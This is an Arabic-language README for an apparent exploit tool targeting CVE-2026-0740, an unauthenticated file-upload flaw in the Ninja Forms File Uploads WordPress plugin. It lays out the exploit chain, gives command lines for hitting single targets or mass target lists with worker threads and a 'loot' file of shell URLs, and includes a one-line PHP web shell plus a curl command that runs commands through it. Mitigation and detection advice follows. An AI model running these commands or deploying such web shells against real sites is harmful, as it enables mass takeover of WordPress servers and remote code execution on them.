
PoC لـ CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — رفع ملفات تعسفي غير مصادق عليه يمكن أن يؤدي إلى RCE.
المؤلف: 0xNuts
المساهم: Cursor
المستودع: https://github.com/ExDev994/CVE-2026-0740-mass
PoC لـ CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — رفع ملفات تعسفي بدون مصادقة يمكن أن يؤدي إلى RCE.
تم اكتشاف الثغرة في البداية بواسطة Sélim Lanouar (@whattheslime). تم تطوير محرك الاستغلال متعدد الأهداف بواسطة 0xNuts بمساهمة من Cursor.
تم توفير هذا المستودع لأغراض البحث الأمني والدفاع فقط (اختبار اختراق مصرح به، فريق أحمر بتصريح كتابي، التحقق من التصحيحات، وتحصين الأنظمة).
إضافة Ninja Forms - File Uploads لووردبريس عرضة لثغرة رفع ملفات تعسفي بدون مصادقة في جميع الإصدارات حتى 3.3.26 (شاملاً إياها).
سلسلة الاستغلال:
nf_fu_get_new_nonce مع field_id عشوائي.nf_fu_upload من امتداد الملف المرفوع (مثل image.jpg)، لكن يمكن للمهاجم تجاوز اسم الملف الهدف عبر معامل POST (image_jpg).move_uploaded_file() دون تنقية كافية → امتداد تعسفي + اجتياز المسار (../).يتوفر التصحيح الكامل في الإصدار 3.3.27+.
يحتوي هذا المستودع فقط على CVE-2026-0740.py وREADME.md. قم بتثبيت الاعتماديات يدوياً:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
ملاحظة: يجب استخدام واحد فقط بالضبط من -t أو -f.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
مع اجتياز مسار صريح:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
أنشئ ملف target.txt:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
قم بالتشغيل:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
مع ضبط عدد العمال وملف الغنائم:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
ستتم كتابة عناوين URL للـshell المرفوعة بنجاح في ملف الغنائم (وضع الإلحاق).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
بعد نجاح الرفع، يعرض السكريبت رابط الـshell. تحقق (فقط على بيئة اختبار/هدف مصرح به):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
قم بتحديث Ninja Forms - File Uploads إلى الإصدار 3.3.27 أو أحدث فوراً.
Ninja Forms - File Uploadsبعد التحديث:
wp-admin/admin-ajax.php بالإجراء nf_fu_get_new_nonce / nf_fu_upload — يجب رفض الرفع التعسفيافحص مجلدات الرفع في ووردبريس:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
ابحث عن ملفات غريبة: .php، .pht، .phtml، .phar، .html، .svg، .js التي لا ينبغي أن تكون موجودة.
افحص أيضاً سجلات خادم الويب بحثاً عن طلبات إلى:
/wp-admin/admin-ajax.php
بالمعامل action=nf_fu_get_new_nonce أو action=nf_fu_upload.
WAF / تحديد المعدل (rate limiting) على /wp-admin/admin-ajax.php لمنع إساءة استخدام الرفع الجماعي
تعطيل تنفيذ PHP في مجلد wp-content/uploads/ عبر إعدادات خادم الويب:
Apache (.htaccess في uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
الامتياز الأدنى (Least privilege): تأكد من أن صلاحيات ملفات الرفع غير قابلة للكتابة بواسطة خادم الويب خارج المجلدات المطلوبة
المراقبة: تنبيه عند POST إلى admin-ajax.php بإجراء nf_fu_* من عناوين IP غريبة أو بحجم طلبات كبير
النسخ الاحتياطي والاستجابة للحوادث: إذا تم العثور على IoC، اعزل الموقع، وبُدِّل بيانات اعتماد قاعدة البيانات/الإدارة، ودقق في بقية الإضافات/القوالب
قم بتعطيل وحذف إضافة Ninja Forms - File Uploads إذا لم تكن ميزة الرفع مطلوبة.
| المتجه / الامتداد | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
اجتياز المسار (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| الخيار | الوظيفة |
|---|
-t, --target | هدف واحد (رابط URL مفرد) |
-f, --targets-file | ملف .txt يحتوي قائمة الأهداف (رابط واحد لكل سطر) |
--shell | ملف الحمولة/الويبشيل المراد رفعه (إلزامي) |
-d, --dest | مسار الوجهة لاجتياز المسار (الافتراضي: ../../../) |
-w, --workers | عدد الخيوط المتزامنة (الافتراضي: 20) |
-o, --output | ملف الغنائم لعناوين الـshell الناجحة (الافتراضي: results.txt) |
-x, --proxy | بروكسي HTTP (مثل http://127.0.0.1:8080) |
-H, --headers | ترويسات مخصصة (الصيغة: 'Header: Value') |
--timeout | مهلة HTTP بالثواني (الافتراضي: 10) |